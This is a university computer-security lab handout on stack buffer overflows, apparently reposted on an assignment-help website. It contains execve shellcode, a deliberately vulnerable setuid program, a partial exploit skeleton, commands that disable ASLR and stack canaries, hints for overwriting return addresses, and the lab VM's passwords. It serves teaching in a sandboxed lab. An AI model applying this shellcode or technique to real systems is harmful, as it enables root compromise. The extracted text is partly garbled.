Buffer Overflow Attack and Defense

CS 4393 — Computer and Network Security

Lab#1: Buffer Overflow Attack and Defense

1 Lab Overview

The learning objective of this lab is to gain the hands-on experience on buffer-overflow vulnerability by putting what we have learned about the vulnerability from class into practice. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of preallocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g., buffers) and the storage for controls (e.g., return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address for instance.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, you will be guided to walk through several protection schemes that have been implemented in Linux to counter against the buffer-overflow attacks. These schemes will also be (have been) discussed in the class. You need to evaluate whether the schemes work or not and explain why.

2 Virtual Machine Setup

We will use a virtual machine (VM) throughout this semester for all the labs. To make sure everyone have the access, we will use a free and open source VM monitor, VirtualBox. Please download and install Virtualbox https://www.virtualbox.org/wiki/Downloads

  • edu/~zhiqiang.lin/file/cs4393/cs4393.tar.bzNext, please download the lab environment pre-setup virtual machine at http://www2 .
  • Extract (decompress) the compressed file cs4393.tar.bz2. If you are in Linux, you can usecommand such as tar -jxvf cs4393.tar.bz2. If you are in Windows, you might want to download 7zip (http://www.7-zip.org/download.html, an open source software) if you do not have a decompression tool.
  • We have created two accounts in the VM. The usernames and passwords are listed in the fol-lowing:
    • User ID: root, Password: s3_Lab.

Note: Ubuntu does not allow root to login directly from the login window. You have to login as a normal user, and then use the command su to login to the root account.

  • User ID: cs4393, Password: CS4393 Note: the password is upper-case.
  • Network setup:Currently the “Network connection” is set to “NAT”, i.e., your VM is put in a private network, which uses your host machine as the router. The VMs in such a setting can connect to the Internet via the NAT mechanism, and they are not visible to the outside (their IP addresses are not routable from the outside, e.g., many use 192.168/16 prefix). This setting is sufficient for most of our labs.

3 Lab Setup

3.1 Environment Configuration

Disable Address Space Layout Randomization: In this lab, you need to execute the lab tasks using the Ubuntu VM we have provided above (although the lab should work for many Linux distributions, we recommend you to use Ubuntu as we have tested the lab on it). Ubuntu and several other Linuxbased systems uses address space layout randomization (ASLR) to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we need to disable these features (to make our life easier) using the following commands:

$ su root

Password: (enter root password)

#sysctl -w kernel.randomize_va_space=0

ExecShield Protection: ExecShield Protection disallows executing any code that is stored in the stack. As a result, stack buffer-overflow attacks will not work. Fedora Linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. So fortunately, you do not have to perform this configuration.

Disable Canaries: The GCC compiler (you will use to compile the vulnerable program and the exploits) implements security mechanisms to prevent buffer overflows, such as “Soft ExecShield Protection” and “Stack Guard” (the canary protection we discussed in the class). In the presence of this protection, buffer overflow will not work.

You have to disable these protections when you are compiling the program using the switch “-fno-stack-protector” and “-z execstack”. For example, to compile a program example.c with mitigation mechanisms disabled, you may use the following command:

gcc -fno-stack-protector -z execstack example.c

3.2 Shellcode Pre-setup

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

/∗ shell.c ∗/

/∗A program that launch shell∗/

#include <stdio.h> int main( ) { char ∗name[2]; name[0] = "/bin/sh"; name[1] = NULL;

execve(name[0], name, NULL); }

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer.

/∗ call_shellcode.c ∗/

/∗A program that creates a file containing code for launching shell∗/

#include <stdlib.h> #include <stdio.h> const char code[] =

"\x31\xc0" /∗ Line 1: xorl %eax,%eax ∗/

"\x50" /∗ Line 2: pushl %eax ∗/

"\x68""//sh" /∗ Line 3: pushl $0x68732f2f ∗/

"\x68""/bin" /∗ Line 4: pushl $0x6e69622f ∗/

"\x89\xe3" /∗ Line 5: movl %esp,%ebx ∗/

"\x50" /∗ Line 6: pushl %eax ∗/

"\x53" /∗ Line 7: pushl %ebx ∗/

"\x89\xe1" /∗ Line 8: movl %esp,%ecx ∗/

"\x99" /∗ Line 9: cdql ∗/

"\xb0\x0b" /∗ Line 10: movb $0x0b,%al ∗/

"\xcd\x80" /∗ Line 11: int $0x80 ∗/


int main(int argc, char ∗∗argv)

{ char buf[sizeof(code)]; strcpy(buf, code); ((void(∗)( ))buf)( ); }

Notice that, you should compile this program with command in the following to test the above shellcode:

gcc -fno-stack-protector -z execstack call_shellcode.c -o call_shellcode

A few places in this shellcode are worth mentioning. First, the third instruction pushes //sh, rather than /sh into the stack. This is because we need a 32-bit number here, and /sh has only 24 bits. Fortunately, //sh is equivalent to /sh , so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call execve() is called when we set %al to 11, and execute int $0x80. You can also revisit our lecture notes to see how to construct a shellcode if you are interested.

3.3 The Vulnerable Program

Please download the vulnerable program (stack.c) and other helper code (e.g., exploit.c) from http://www.utdallas.edu/~zhiqiang.lin/file/cs4393/project1.tar.gz). You can use command

$ wget http://www.utdallas.edu/~zhiqiang.lin/file/cs4393/project1.tar.gz

$ tar zxvf project1.tar.gz

$ ls project1

call_shellcode.c exploit.c shell.c stack.c

to download the files into your VM and decompress it.

/∗ stack.c ∗/

/∗ This program has a buffer overflow vulnerability. ∗/

/∗ Our task is to exploit this vulnerability ∗/

#include <stdlib.h>

#include <stdio.h> #include <string.h> int bof(char ∗str)

{ char buffer[12];

/∗ The following statement has a buffer overflow problem ∗/ strcpy(buffer, str); return 1;


int main(int argc, char ∗∗argv)

{ char str[512]; FILE ∗badfile;

badfile = fopen("badfile", "r"); fread(str, sizeof(char), 512, badfile); bof(str);

printf("Returned Properly\n"); return 1;


Compile the above vulnerable program and make it set-root-uid, otherwise we cannot get the root shell. We will explain the reason behind in our course lecture. You can make the set-root-uid of this vulnerable program by compiling it in the root account, and chmod the executable to 4755:

$ su root

Password (enter root password)

# gcc -o stack -fno-stack-protector -z execstack stack.c

# chmod 4755 stack

# exit

As you can tell, the above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 512 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under your control (you can craft it). Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned. How to create the content of badfile is the key for this project.

4 Lab Tasks

4.1 Task 1: Exploiting the Vulnerability (50 Points)

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

/∗ exploit.c ∗/

/∗ A program that creates a file containing code for launching shell∗/

#include <stdlib.h>

#include <stdio.h> #include <string.h> char shellcode[]=

"\x31\xc0" /∗ xorl %eax,%eax ∗/

"\x50" /∗ pushl %eax ∗/

"\x68""//sh" /∗ pushl $0x68732f2f ∗/

"\x68""/bin" /∗ pushl $0x6e69622f ∗/

"\x89\xe3" /∗ movl %esp,%ebx ∗/

"\x50" /∗ pushl %eax ∗/

"\x53" /∗ pushl %ebx ∗/

"\x89\xe1" /∗ movl %esp,%ecx ∗/

"\x99" /∗ cdql ∗/

"\xb0\x0b" /∗ movb $0x0b,%al ∗/

"\xcd\x80" /∗ int $0x80 ∗/


void main(int argc, char ∗∗argv)

{ char buffer[512];

FILE ∗badfile;

/∗ Initialize buffer with 0x90 (NOP instruction) ∗/ memset(&buffer, 0x90, 512);

/∗ You need to fill the buffer with appropriate contents here ∗/

/∗ Save the contents to the file "badfile" ∗/ badfile = fopen("./badfile", "w"); fwrite(buffer, 512, 1, badfile); fclose(badfile);


After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack compiled from stack.c. If your exploit is implemented correctly, you should be able to get a root shell:

Special Note. Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program, but we will be overflowing the buffer in stack.c, which is compiled with the default Stack Guard protection disabled (recall we use -fno-stack-protector option).

$ gcc -o exploit exploit.c

$./exploit // create the badfile

$./stack // launch the attack by running the vulnerable program # <---- Bingo! You have got a root shell!

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

# id uid=(500) euid=0(root)

In the lab report, you need to document how you successfully overwrite the return address with your shell code address (such as drawing the stack layout). You will also submit your exploit (basically badfile) for our test.

4.2 Task 2: Address Randomization (30 Points)

Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You need to describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

$ su root

Password: (enter root password)

# /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. (Please describe the on average how many times you need to try in order to finally get a shell). You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

$ sh -c ‘‘while [ 1 ]; do ./stack; done;’’

4.3 Task 3: Stack Guard (20 points)

So far, we have disabled the “Stack Guard” (the canary approach) protection mechanism in GCC when compiling the programs. In this task, you need to repeat task 1 in the presence of Stack Guard. To do that, you need to compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe, and document why and how Stack Guard stops the stack overflow attacks.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use an older GCC version, you may not have to disable Stack Guard (because it does not exist).

5 Some hints for you to solve the challenge

You can load the shellcode into badfile, but it will not be executed directly because you have to tune the instruction pointer (i.e., how to overwrite the return address such that it can point to the starting address of the shell code). To this end, you have to solve two problems: (1) you need to know where the victim return address is, and (2) you need to know where the shellcode is stored. Therefore, you need to understand the stack layout when bof gets called (as you need to overwrite the return address of bof using the buffer in this function. The following figure gives an example.

Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer[] array, we can calculate where the return address is stored. In gdb (your favorite tool), you can figure out the address of buffer[], and thus calculate the starting point of the malicious code (i.e, our shell code).

If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess (Recall in our lecture, we introduced NOP-sled). The following facts make guessing a quite feasible approach:

  • Stack usually starts at the same address.
  • Stack is usually not very deep: most programs do not push more than a few hundred or a fewthousand bytes into the stack at any one time.

Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[], you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately calculate the starting address of the shell code, you can still guess. To improve the chance of success, we can add a number of NOPs (hexcode 0x90) to the beginning of the shell code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.

Storing a long integer in a buffer: In your exploit program, you might need to store a long integer (4 bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]:

char buffer[20]; long addr = 0xFFEEDD88;

long ∗ptr = (long ∗) (buffer + i);

∗ptr = addr;

6 Deliverables

Please write down your detailed report, and submit on elearning. Your report can contain the screen shot that shows you successfull get the shell. Please also include all of the source code you developed, as well as the badfile you created as a separate file such that we can test your exploit.

7 References

[1] Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at http://www.phrack.org/issues.html?issue=49&id=14#article [2] Wenliang Du. The SEED Lab at http://www.cis.syr.edu/~wedu/seed/


Upload Document Document Unser Evaluion Get Money Into Your Wallet

Cite This work.

To export a reference to this article please select a referencing stye below.

Assignment Hippo (2022) . Retrive from https://assignmenthippo.com/sample-assignment/buffer-overflow-attack-and-defense

"." Assignment Hippo ,2022, https://assignmenthippo.com/sample-assignment/buffer-overflow-attack-and-defense

Assignment Hippo (2022) . Available from: https://assignmenthippo.com/sample-assignment/buffer-overflow-attack-and-defense

[Accessed 10/08/2022].

Assignment Hippo . ''(Assignment Hippo,2022) https://assignmenthippo.com/sample-assignment/buffer-overflow-attack-and-defense accessed 10/08/2022.

Want latest solution of this assignment

Want to order fresh copy of the Sample Template Answers? online or do you need the old solutions for Sample Template, contact our customer support or talk to us to get the answers of it.

Submit Your Assignment Here

AssignmentHippo Features

On Time Delivery

Our motto is deliver assignment on Time. Our Expert writers deliver quality assignments to the students.

Plagiarism Free Work

Get reliable and unique assignments by using our 100% plagiarism-free.

24 X 7 Live Help

Get connected 24*7 with our Live Chat support executives to receive instant solutions for your assignment.

Services For All Subjects

Get Help with all the subjects like: Programming, Accounting, Finance, Engineering, Law and Marketing.

Best Price Guarantee

Get premium service at a pocket-friendly rate at AssignmentHippo


  • Assignment Writing Guide
  • Essay Writing Guide
  • Dissertation Writing Guide
  • Research Paper Writing Guide


  • Accounts
  • Computer Science
  • Economics
  • Engineering

Client Review

I was struggling so hard to complete my marketing assignment on brand development when I decided to finally reach to the experts of this portal. They certainly deliver perfect consistency and the desired format. The content prepared by the experts of this platform was simply amazing. I definitely owe my grades to them.

Tap to Chat
Get instant assignment help